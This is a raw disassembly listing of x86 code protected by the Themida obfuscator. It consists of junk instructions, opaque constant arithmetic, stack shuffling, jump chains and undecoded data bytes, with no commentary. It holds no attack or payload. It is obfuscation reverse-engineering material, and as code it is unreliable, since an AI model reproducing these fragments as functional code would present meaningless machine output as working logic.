loc_58FFBA:				; CODE XREF: Themida_:0058FDFCj
		pop	ecx
		push	ebx
		push	550D2F7Bh
		pop	ebx
		jmp	loc_58ED09
; ---------------------------------------------------------------------------
		db 66h
		dd 66C8B60Fh, 0FBE99C51h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FFD3:				; CODE XREF: Themida_:0058CEB4j
		push	dword ptr [esp]
		jmp	loc_595F7D
; ---------------------------------------------------------------------------


loc_58FFDB:				; CODE XREF: Themida_:00595E31j
		xchg	edx, ecx
		shl	ecx, 8
		shr	ecx, 1
		push	eax
		mov	eax, 5A692F87h
		xor	eax, 61398934h
		jmp	loc_592E94
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 8924248Bh, 9C502414h, 0FFF7E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590005:				; CODE XREF: Themida_:00595CF8j
		add	ebx, eax
		jmp	loc_58EF1B
; ---------------------------------------------------------------------------


loc_59000C:				; CODE XREF: Themida_:005972C9j
		xchg	ebx, [esp]
		pop	esp


loc_590010:				; CODE XREF: Themida_:0058FF55j
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 7D233EFAh
		mov	esi, 320F38B9h
		xor	esi, edi
		pop	edi
		push	esi
		mov	esi, 227839F0h
		sub	[esp+8], esi
		pop	esi
		add	dword ptr [esp+4], 6EEF6293h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 6EEF6293h
		add	dword ptr [esp+4], 227839F0h
		pop	esi
		push	dword ptr [esp]
		jmp	loc_58DD16
; ---------------------------------------------------------------------------
		dd 6FE9028Fh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59005F:				; CODE XREF: Themida_:0059331Bj
		push	esi
		mov	esi, 475BDE3Eh
		sub	eax, esi
		jmp	loc_58AF30
; ---------------------------------------------------------------------------
		dd 0E715E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590072:				; CODE XREF: Themida_:0059708Cj
		mov	[esp], esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_58F534
; ---------------------------------------------------------------------------
		dd 4C82EB81h, 3FE95FBBh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59008F:				; CODE XREF: Themida_:0058ED13j
		push	67D8h
		mov	[esp], edx
		jmp	loc_5916AF
; ---------------------------------------------------------------------------


loc_59009C:				; CODE XREF: Themida_:00596381j
		mov	ebp, esp
		push	686h
		mov	[esp], eax
		mov	eax, 62141B4Fh
		sub	eax, 73AF0838h
		push	ebx
		mov	ebx, 119AECEDh
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esi
		push	ebp
		mov	ebp, 2BBB7847h
		jmp	loc_58C7D6
; ---------------------------------------------------------------------------


loc_5900D6:				; CODE XREF: Themida_:005911CAj
		push	1ABF2115h
		mov	ecx, [esp]
		jmp	loc_59388D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 37FC484Ch, 4641252Dh, 0E9F0017Bh, 9A8h
; ---------------------------------------------------------------------------


loc_5900F4:				; CODE XREF: Themida_:0058F582j
		jmp	loc_59674C
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 4Dh
		dd 4D04E5C1h, 94CFED81h, 72054DB4h, 1055E6Dh, 0ACBF57E8h
		dd 0E97D061Bh, 5B59h
; ---------------------------------------------------------------------------


loc_590118:				; CODE XREF: Themida_:005946D6j
		neg	edi
		shr	edi, 1
		add	edi, 9F123D6Fh
		sub	eax, edi
		pop	edi
		pop	ebp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	2326h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 570214FDh
		push	ebp
		pop	ecx
		pop	ebp
		shr	ecx, 2
		push	eax
		mov	eax, 4F821D40h
		jmp	loc_596FF5
; ---------------------------------------------------------------------------


loc_590163:				; CODE XREF: Themida_:00595CD6j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 46E5814Dh, 4D0A7819h, 79D1F581h, 0E801084Dh,	24148B5Dh
		dd 4C481h, 1D680000h, 8900005Ch, 15E9241Ch
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59018F:				; CODE XREF: Themida_:0059055Bj
		add	cl, 35h
		sub	dl, cl
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	bl, 0A7h
		sub	bl, 8Dh
		sub	bl, dl
		add	bl, 8Dh
		sub	bl, 0A7h
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	515C2404h, 268h, 240C8B00h, 104C483h
		dd 143359CAh, 24143124h, 8B241433h, 4002424h, 0E7E99C24h
		dd 0FFFFFFA0h, 669D1C77h, 4196658h, 0D7E99C24h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5901F7:				; CODE XREF: Themida_:0058A80Cj
		pop	edx
		add	ebp, 6BD47F93h
		jo	loc_592503
		xor	ebp, 81576044h
		and	ecx, ebp
		mov	ebp, [esp]
		mov	bl, cl
		mov	ecx, edx
		mov	eax, 24AD0CC5h
		jmp	loc_58FCC1
; ---------------------------------------------------------------------------
aSc		db '[ιc,',0
		dw 5D00h
		dd 42FEF581h, 0F5816D9Eh, 0EF9624EFh, 55DEF01h,	7A0D0A50h
		dd 822222Dh, 53F82922h,	0B32E5DBBh, 3DBF5753h, 81707453h
		dd 8415FACFh, 0C7814715h, 0FE3E2599h, 0C15FFB29h, 0EB8105E3h
		dd 0CE0DF65Eh, 2D5BD801h, 7A0D0A50h, 6850575Fh,	76925241h
		dd 37233558h, 0C7895DB9h, 4AD78758h, 162CE9h, 81D7F700h
		dd 8CF291EFh, 5FFD01E5h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 2BE2434h,	1000000h, 0BA4DE9F5h, 0D001FFFFh
		dd 3C3ABD55h, 0F9E947F8h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5902BF:				; CODE XREF: Themida_:0059556Dj
		sub	esi, edx
		pop	edx
		jmp	loc_58B4FB
; ---------------------------------------------------------------------------


loc_5902C7:				; CODE XREF: Themida_:0058B48Dj
		xor	edi, ebp
		jmp	loc_58CC69
; ---------------------------------------------------------------------------
		dw 810Fh
		dd 104Fh, 890FC9FEh, 0FFFFE8D9h, 8831E980h, 0FF5159CCh
		dd 56582434h, 0BA52E689h, 351F6D44h, 0D6ABF57h,	0FA014AD3h
		dd 147CE95Fh, 0D8F70000h, 2CD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_590305:				; CODE XREF: Themida_:0058BE6Ej
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 32441BE5h
		not	ecx
		push	ebx
		mov	ebx, 4510A3Fh
		and	ebx, 42D36925h
		jmp	loc_58CBB7
; ---------------------------------------------------------------------------


loc_590327:				; CODE XREF: Themida_:0058B9BDj
		jnp	loc_58C80B
		sub	ebp, 7E96BDFBh
		mov	edx, ebp
		mov	ebp, [esp]
		mov	ebp, edi
		mov	ebx, edi


loc_59033C:				; CODE XREF: Themida_:0058B01Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_595F54
; ---------------------------------------------------------------------------


loc_590363:				; CODE XREF: Themida_:loc_58B3F0j
		or	edx, 0E147ADBh
		jmp	loc_58FC93
; ---------------------------------------------------------------------------
		dw 41E9h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590373:				; CODE XREF: Themida_:0058D2D5j
					; Themida_:0058E79Cj
		add	ebx, 1F325105h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4A6360B6h
		sub	eax, 93A2BD3h
		push	ebx
		mov	ebx, 6B0B1B08h
		or	eax, ebx
		pop	ebx
		jmp	loc_595CF3
; ---------------------------------------------------------------------------
		dd 0A3FFED81h, 60E9986Ah
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5903AB:				; CODE XREF: Themida_:loc_5923D6j
		shr	ebp, 4
		jmp	loc_58C654
; ---------------------------------------------------------------------------


loc_5903B3:				; CODE XREF: Themida_:00597E40j
		push	eax
		push	esi
		jmp	loc_58D686
; ---------------------------------------------------------------------------


loc_5903BA:				; CODE XREF: Themida_:0058F2DAj
		pop	esi
		sub	ebp, ecx
		pop	ecx
		or	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_58D894
; ---------------------------------------------------------------------------


loc_5903C7:				; CODE XREF: Themida_:00596EBEj
		add	[esp+4], ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		push	0DD4h
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 6943295Ah
		sub	edi, 56532E03h
		add	edi, eax
		add	edi, 56532E03h
		push	esi
		mov	esi, 523041A0h
		add	esi, 751C0DAEh
		sub	esi, 4EB46A4h
		xor	esi, 0AB2221F0h
		add	edi, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59042B:				; CODE XREF: Themida_:0059256Dj
		sub	ebp, 0F8F058Eh
		jmp	loc_590C5E
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 9F7BBF24h, 0EC815BCEh, 4, 0FFF991E9h, 0C0B60FFFh, 578734FFh
		dd 0A868E789h, 8900000Ah, 0FCE9241Ch, 89000013h, 57E952E6h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590467:				; CODE XREF: Themida_:0058DB59j
		push	ebx
		mov	ebx, 66E10D28h
		shr	ebx, 5
		and	ebx, 0F5A4147h
		jmp	loc_59568E
; ---------------------------------------------------------------------------


loc_59047B:				; CODE XREF: Themida_:0058B39Fj
		push	3A1Ch
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1C53214Ah
		push	esi
		jmp	loc_590688
; ---------------------------------------------------------------------------
		db 89h
		dd 0A1E9243Ch
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590497:				; CODE XREF: Themida_:0058DFA7j
		pop	ecx
		add	esp, 4
		jmp	loc_58C10C
; ---------------------------------------------------------------------------
aSsr		db '\ι‘R',0
		db 0
; ---------------------------------------------------------------------------


loc_5904A9:				; CODE XREF: Themida_:005951CDj
		ja	loc_58BD46
		jmp	loc_59230E
; ---------------------------------------------------------------------------
		dd offset dword_455248+20820h
		dd 242C8900h, 0BE565D54h, 216179A3h, 3D92E9h, 45B55100h
		dd 6542E9h
		db 0
; ---------------------------------------------------------------------------


loc_5904D1:				; CODE XREF: Themida_:0058FE4Aj
					; Themida_:00592991j ...
		add	ebx, 583D7BCEh
		pop	ebp
		jmp	loc_5934D1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0AD1FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5904E6:				; CODE XREF: Themida_:005944F0j
		push	esi
		mov	esi, 3025687Ch
		add	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 31295A6Fh
		dec	eax
		push	edi
		push	esi
		mov	esi, 103F1F2h
		jmp	loc_58E728
; ---------------------------------------------------------------------------


loc_590512:				; CODE XREF: Themida_:005970B1j
		mov	dl, 0F1h
		add	dl, 0D7h
		shr	dl, 6
		sub	dl, 0BBh
		jmp	loc_58F720
; ---------------------------------------------------------------------------


loc_590522:				; CODE XREF: Themida_:0058F604j
		mov	edx, esp
		jmp	loc_58C963
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 4FE8E904h, 0E95B0000h, 0FFFFEC48h
; ---------------------------------------------------------------------------


loc_590538:				; CODE XREF: Themida_:005938D2j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		jmp	loc_596E43
; ---------------------------------------------------------------------------


loc_590545:				; CODE XREF: Themida_:00590BBDj
					; Themida_:0059611Fj
		jge	loc_595ACF
		jmp	loc_597E7F
; ---------------------------------------------------------------------------
		dd 0E958C629h, 0FFFFC582h
; ---------------------------------------------------------------------------


loc_590558:				; CODE XREF: Themida_:00590BD7j
		add	cl, dh
		pop	edx
		jmp	loc_59018F
; ---------------------------------------------------------------------------


loc_590560:				; CODE XREF: Themida_:0059181Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	ebp
		push	edi
		mov	edi, 3A3E677Bh
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58DAC8
; ---------------------------------------------------------------------------
		dw 8FBBh
		dd 8174BC1Ch, 0D25813EBh, 0B1E38142h, 0F742DD1Ah, 0EAF381D3h
		dd 31475741h, 0BA525BDFh, 494C2256h, 0F2814A42h, 19817DA2h
		dd 4A04E2C1h, 80FBEA81h, 0D72193A1h, 2BE7815Ah,	8112DF7Eh
		dd 0FFFFFFEFh, 81EFD1FFh, 21404F7h, 5FFD0100h, 0E902C583h
		dd 0FFFFD8C1h, 4C481h, 0EC830000h, 24048904h, 0FFA8DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5905F9:				; CODE XREF: Themida_:0058E1E5j
		mov	edi, esp
		jmp	loc_592145
; ---------------------------------------------------------------------------
		dd 2414F757h, 1572E9h
		db 0
; ---------------------------------------------------------------------------


loc_590609:				; CODE XREF: Themida_:0059069Fj
		add	eax, edx
		add	[eax], ecx
		pop	eax
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_58E833
; ---------------------------------------------------------------------------
		dd offset dword_576194+555h
		db 0
; ---------------------------------------------------------------------------


loc_590631:				; CODE XREF: Themida_:00594241j
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_592A28
; ---------------------------------------------------------------------------


loc_590649:				; CODE XREF: Themida_:0058A624j
		shr	eax, 12h
		jmp	loc_592513
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0E9h
		dd 0FFFF9C76h
; ---------------------------------------------------------------------------


loc_590658:				; CODE XREF: Themida_:0058AC86j
		pop	ebp
		sub	esi, edx
		jmp	loc_59641C
; ---------------------------------------------------------------------------


loc_590660:				; CODE XREF: Themida_:005963EEj
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		jmp	loc_5953A1
; ---------------------------------------------------------------------------


loc_59066E:				; CODE XREF: Themida_:0058EF55j
		mov	[esp], ecx
		push	esi
		mov	esi, 2AB80E6Dh
		add	esi, 0DD42F9C9h
		jmp	loc_58D36C
; ---------------------------------------------------------------------------


loc_590682:				; CODE XREF: Themida_:0058F254j
		push	esi
		jmp	loc_58E6B9
; ---------------------------------------------------------------------------


loc_590688:				; CODE XREF: Themida_:0059048Aj
		push	56925D8Bh
		pop	esi
		and	esi, 66DC29F1h
		jmp	loc_58F2D2
; ---------------------------------------------------------------------------


loc_590699:				; CODE XREF: Themida_:0058B7FFj
		push	eax
		mov	eax, 0
		jmp	loc_590609
; ---------------------------------------------------------------------------


loc_5906A4:				; CODE XREF: Themida_:00590F4Aj
		add	esp, 4
		add	ecx, esi
		pop	esi
		push	156Dh
		jmp	loc_59137A
; ---------------------------------------------------------------------------


loc_5906B4:				; CODE XREF: Themida_:00591728j
					; Themida_:00591FC6j
		push	ecx
		jmp	loc_592270
; ---------------------------------------------------------------------------


loc_5906BA:				; CODE XREF: Themida_:0059314Dj
		mov	ecx, 4
		add	edx, 43F67A21h
		jmp	loc_5922F1
; ---------------------------------------------------------------------------
		dw 0BBBAh
		dd 0E9067123h, 5E7Ch, 1C5AC3BDh, 1FC58162h, 0F76D8712h
		dd 0A5F2E9D5h, 0CA29FFFFh, 38F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5906ED:				; CODE XREF: Themida_:0058C7D9j
		mov	edi, 0D44487BBh
		add	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B804
; ---------------------------------------------------------------------------


loc_590701:				; CODE XREF: Themida_:0058E64Dj
		pop	esp
		jmp	loc_58E175
; ---------------------------------------------------------------------------


loc_590707:				; CODE XREF: Themida_:005912DCj
		xchg	edx, edi
		push	esi
		mov	esi, 0CA579396h
		sub	edi, esi
		pop	esi
		add	ebx, 5F951F8Fh
		sub	ebx, edi
		push	esi
		mov	esi, 5CD9114Eh
		and	esi, 5F656B4h
		or	esi, 1BD3794Dh
		jmp	loc_58BB06
; ---------------------------------------------------------------------------
		db 57h,	83h, 0ECh
		dd 48F5404h, 24048124h,	4, 3DAFE95Fh, 1C330000h, 241C3124h
		dd 8B241C33h, 4BE92424h, 66FFFFE4h, 27DAE951h, 0EF800000h
		dd 1C780FDh, 0EF80CFFEh, 0B0506681h, 0E9C72834h, 0FFFFF6B8h
		dd 240C8B66h, 5491E9h, 80C30000h, 535618C3h, 912C70BBh
		dd 3E95659h, 56FFFF9Ch,	161691BEh, 99E68142h, 0E94C6354h
		dd 5D2Ah, 0C63CE981h, 0CE896051h, 24742959h, 24348B04h
		dd 61D5E956h, 8B660000h, 72E92404h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5907BF:				; CODE XREF: Themida_:005953C7j
		pop	edi
		sub	edi, 1E55119Bh
		jmp	loc_58F59D
; ---------------------------------------------------------------------------


loc_5907CB:				; CODE XREF: Themida_:0058F8BEj
		pop	esp
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		pop	ebx
		inc	ebx
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		pop	ebx


loc_5907E1:				; CODE XREF: Themida_:00593E9Dj
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_596CC9
; ---------------------------------------------------------------------------


loc_5907FE:				; CODE XREF: Themida_:00596A6Ej
		pop	dx
		push	20EBh
		mov	[esp], ebx
		jmp	loc_58B0AA
; ---------------------------------------------------------------------------


loc_59080D:				; CODE XREF: Themida_:0058B696j
		mov	[esp], ebx
		jmp	loc_58BB82
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89242C89h, 0E78957E5h, 4C781h, 68E90000h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59082B:				; CODE XREF: Themida_:0058BD19j
		add	edi, 7E1D0FDEh
		jmp	loc_58D5B0
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 54241C89h, 6A1AE9h
		db 0
; ---------------------------------------------------------------------------


loc_590845:				; CODE XREF: Themida_:005958CBj
		add	al, bh
		sub	al, 0ADh
		push	ebx
		jmp	loc_58AFDB
; ---------------------------------------------------------------------------
		db 0ACh
		dd 3E9D830h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590857:				; CODE XREF: Themida_:0059357Aj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFC13Ah, 4C281h, 0E90000h, 0C1000015h, 840F05E7h
		dd 0FFFFF056h, 8102E7C1h, 0F64C40F7h, 4BEF8169h, 81BC552Eh
		dd 0CA082444h, 0E948EC0Bh, 483Eh
; ---------------------------------------------------------------------------


loc_59089C:				; CODE XREF: Themida_:loc_597C92j
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		jmp	loc_59222F
; ---------------------------------------------------------------------------
		db 59h,	28h, 0DDh
		dd 1DE95B66h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5908B3:				; CODE XREF: Themida_:0058C971j
		mov	edi, 44BA20E7h
		jmp	loc_595804
; ---------------------------------------------------------------------------


loc_5908BD:				; CODE XREF: Themida_:loc_58C654j
		push	edx
		push	ebx
		mov	ebx, 3A351BA8h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5951F4
; ---------------------------------------------------------------------------
		dd 33240C31h, 248B240Ch, 24043124h, 0FF9CB9E9h,	0F7D587FFh
		dd 81D587D2h, 375B3DC5h, 66C58150h, 128A709h, 242C8BEBh
		dd 5604C483h, 2BEh, 5EF30100h, 8B241C87h, 31662424h, 0E99C2404h
		dd 0FFFF99BEh
; ---------------------------------------------------------------------------


loc_590910:				; CODE XREF: Themida_:005916B7j
		add	ebx, 1F9AB9Eh
		add	ecx, ebx
		pop	ebx
		push	6104h
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_596B5D
; ---------------------------------------------------------------------------


loc_590938:				; CODE XREF: Themida_:0059618Aj
		pop	edx
		jmp	loc_5956BA
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4EC81h, 2C890000h, 0CFEBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59094E:				; CODE XREF: Themida_:0058E0E6j
		add	edx, ebp
		jmp	loc_592349
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0CF890000h, 724E9h, 24148900h, 0C281E289h, 4, 0E904C283h
		dd 1AFDh, 207F83ADh, 45840F00h,	68FFFFA4h, 36ABh, 0E9243C89h
		dd 99h,	52240C8Bh, 0FFD2B4E9h, 24248BFFh, 4EC81h, 4890000h
		dd 5B92E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5909A6:				; CODE XREF: Themida_:0058B879j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58FEB6
; ---------------------------------------------------------------------------


loc_5909B4:				; CODE XREF: Themida_:005977A8j
		push	ebp
		mov	ebp, 776A2D9Fh
		jmp	loc_592A54
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8904EC83h, 2BA2414h,	81000000h, 0F35DE0C7h, 1EEF8177h
		dd 1454F2Fh, 89BE56D7h,	8163E854h, 7A75BACEh, 2BE68152h
		dd 0E9582C50h, 0FFFFC868h
; ---------------------------------------------------------------------------


loc_5909F0:				; CODE XREF: Themida_:0058D699j
		shl	esi, 5
		jmp	loc_5950EB
; ---------------------------------------------------------------------------


loc_5909F8:				; CODE XREF: Themida_:loc_594476j
					; Themida_:loc_5946F3j
		dec	ebp
		js	loc_58FCCF
		jmp	loc_58A777
; ---------------------------------------------------------------------------
		dd 8813EC80h, 0EE8058E7h, 80FE00AFh, 0BE9AFC6h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590A17:				; CODE XREF: Themida_:00597038j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_596477
; ---------------------------------------------------------------------------
		db 0BFh, 5Ch, 1
aU9slt		db 'U9ιLT',0
		db 0
; ---------------------------------------------------------------------------


loc_590A2F:				; CODE XREF: Themida_:0058DA94j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_590A34:				; CODE XREF: Themida_:0058FF9Dj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_594A6C
; ---------------------------------------------------------------------------
		db 0ACh, 2Ch, 14h
		dd 0B5E9D800h, 5300005Bh, 4EC81h, 1C890000h, 0E9E38924h
		dd 4AE7h
; ---------------------------------------------------------------------------


loc_590A68:				; CODE XREF: Themida_:0058C5C7j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ebx, 8E81220h
		push	eax
		mov	eax, 4A212A35h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, eax
		push	edx
		mov	edx, 362417FDh
		jmp	loc_58D2B6
; ---------------------------------------------------------------------------
		dd 46412505h, 24348B7Bh, 193B68h, 240C8900h, 0C1815954h
		dd 4, 4C181h, 0C330000h, 240C3124h, 5C240C33h, 8904EC83h
		dd 94BE2434h, 68100B5Ch, 1D6Eh,	0FFCF29E9h, 148B66FFh
		dd 2C48324h, 0B9665166h, 1666D07h, 6604244Ch, 4C016659h
		dd 60E90224h, 54FFFFFCh, 582434FFh, 58F2E9h, 5F7BBE00h
		dd 0EE83117Dh, 81C68101h, 0E96E01E0h, 28C7h
; ---------------------------------------------------------------------------


loc_590B14:				; CODE XREF: Themida_:005914F0j
		xor	ch, 1Dh
		shr	ch, 4
		sub	ch, 0CBh
		add	ch, 0CBh
		xor	bl, ch
		jmp	loc_5964E5
; ---------------------------------------------------------------------------
		db 5Ah
		dd 822DF801h, 0E965D233h, 0FFFFB15Dh
; ---------------------------------------------------------------------------


loc_590B34:				; CODE XREF: Themida_:0058CFD8j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5938FF
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 33CD15BDh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_598018
; ---------------------------------------------------------------------------


loc_590B60:				; CODE XREF: Themida_:005916D4j
		mov	ebx, esp
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_58DEBB
; ---------------------------------------------------------------------------


loc_590B70:				; CODE XREF: Themida_:0058D203j
		sub	esp, 4
		mov	[esp], eax
		push	5B155612h
		pop	eax
		shr	eax, 7
		jns	loc_591722
		push	edx
		mov	edx, 7B4459DFh
		jmp	loc_58B845
; ---------------------------------------------------------------------------
		db 88h
		db 0FBh, 5Dh
; ---------------------------------------------------------------------------


loc_590B96:				; CODE XREF: Themida_:0058B504j
		sub	edi, 4
		jmp	loc_58DB6C
; ---------------------------------------------------------------------------


loc_590B9E:				; CODE XREF: Themida_:00593E63j
		pop	edx
		pop	eax
		jmp	loc_5956CF
; ---------------------------------------------------------------------------


loc_590BA5:				; CODE XREF: Themida_:0058EE13j
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	51BC0F68h
		pop	ecx
		sub	ecx, 8985C4Fh
		jmp	loc_590545
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFB5BCh
; ---------------------------------------------------------------------------


loc_590BC8:				; CODE XREF: Themida_:00591D72j
		sub	cl, 83h
		shr	cl, 1
		not	cl
		push	edx
		mov	dh, 0D3h
		not	dh
		xor	dh, 0A8h
		jmp	loc_590558
; ---------------------------------------------------------------------------
		dd 4147D68h, 0F7525A0Fh, 0F75A2414h, 0FD860FDAh, 8100001Eh
		dd 0D13125C2h, 0CFC28136h, 892E7109h, 0ED835AD0h, 4EDC1FFh
		dd 56EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_590C09:				; CODE XREF: Themida_:0058BB26j
		push	ebx
		mov	bl, 1Ch
		jmp	loc_5954DA
; ---------------------------------------------------------------------------


loc_590C11:				; CODE XREF: Themida_:00594BB9j
		dec	edx
		add	edx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0AE41A8B8h
		add	edx, ebp
		pop	ebp
		add	ebp, 1DCD1489h
		add	ebp, edx
		sub	ebp, 1DCD1489h
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_58C76A
; ---------------------------------------------------------------------------
a313S_		db '3<$1<$3<$ι±.',0
		db 0
; ---------------------------------------------------------------------------


loc_590C4B:				; CODE XREF: Themida_:005979C4j
		shl	ebx, 1
		and	ebx, 342E42CCh
		and	ebx, 1C2B63D6h
		jmp	loc_594BDF
; ---------------------------------------------------------------------------


loc_590C5E:				; CODE XREF: Themida_:00590431j
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_597B43
; ---------------------------------------------------------------------------
		db 50h
		dd 4C8FB866h, 0F9F0566h, 3E0C166h, 52F63566h, 174068h
		dd 24148900h, 389DBA66h, 44BD6655h, 6E88E933h, 3C330000h
		dd 243C3124h, 8B243C33h, 0EFE92424h, 8300003Bh,	3C8704C7h
		dd 0EDE95C24h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590CB7:				; CODE XREF: Themida_:00594405j
		mov	ax, [esp]
		push	0B99h
		mov	[esp], ecx
		push	esp
		jmp	loc_59805F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E189240Ch, 0FFCB2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590CD9:				; CODE XREF: Themida_:0058C8E9j
		xor	eax, edx
		pop	edx
		add	eax, ebx
		add	[eax], ebp
		pop	eax
		pop	ebx
		jmp	loc_595FE7
; ---------------------------------------------------------------------------


loc_590CE7:				; CODE XREF: Themida_:0058F516j
		pop	ecx
		add	ebx, 0F7BBD704h
		add	ebp, ebx
		pop	ebx
		push	ecx
		jmp	loc_5934B9
; ---------------------------------------------------------------------------
		db 80h
		dd 0FC88E0F7h, 0FFF831E9h, 4C781FFh, 87000000h,	5C243Ch
